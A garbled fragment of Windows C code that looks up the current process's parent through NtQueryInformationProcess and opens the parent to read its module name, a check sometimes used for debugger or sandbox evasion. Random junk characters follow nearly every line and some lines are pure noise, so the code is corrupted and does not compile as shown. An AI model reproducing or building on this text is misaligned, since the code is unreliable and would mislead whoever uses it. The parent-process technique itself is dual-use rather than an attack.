ULONG InheritedFromUniqueProcessId; 7D\#1h
} PROCESS_BASIC_INFORMATION; `=Pn{JaD
Izm8
qt=m
PROCNTQSIP NtQueryInformationProcess; y?GRxoCD"e
{LYA?w^GT
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Ay;=1g)8+f
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; p)vyZY[
EQ1wyKZS2g
HANDLE hProcess; GQhzQM1HS
PROCESS_BASIC_INFORMATION pbi; :A
$%5;-kO
|C?<!6.QmV
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); V9z/yNo
if(NULL == hInst ) return 0; I&Q.MItW
4N&
VT"
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); |(N4ZmTm
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); dDbPM9]5
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); J@C8;]
|V bF&*v`
if (!NtQueryInformationProcess) return 0; #X'!wr|-
P0uUVU=B|
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Sq8 `)$\
if(!hProcess) return 0; EzqYHY+_r
zm4Okg)w@
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; li;Np5P
Lo
_5r T"
CloseHandle(hProcess); KArt4+31
D@*<p h=
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); W4Rs9NA}
if(hProcess==NULL) return 0; ; S7
%
Uq `B#JI
HMODULE hMod; Bm2"} =
char procName[255]; = zW}vm }
unsigned long cbNeeded; Zm,<